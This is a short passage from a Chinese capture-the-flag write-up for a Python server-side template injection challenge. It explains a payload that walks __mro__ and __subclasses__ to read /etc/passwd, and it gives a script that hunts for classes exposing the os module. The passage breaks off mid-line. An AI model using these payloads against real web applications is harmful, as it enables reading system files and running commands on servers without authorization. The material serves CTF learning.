1、题目:Web_python_template_injection
关于python魔术方法payload:"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的解释
#找到os模块
#有两个
#我们要找的是第71个<class 'site._Printer'>
num = 0
for n in ''.__class__.__mro__:
print(n)
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num, item
num += 1
except:
print num, '-'
num &#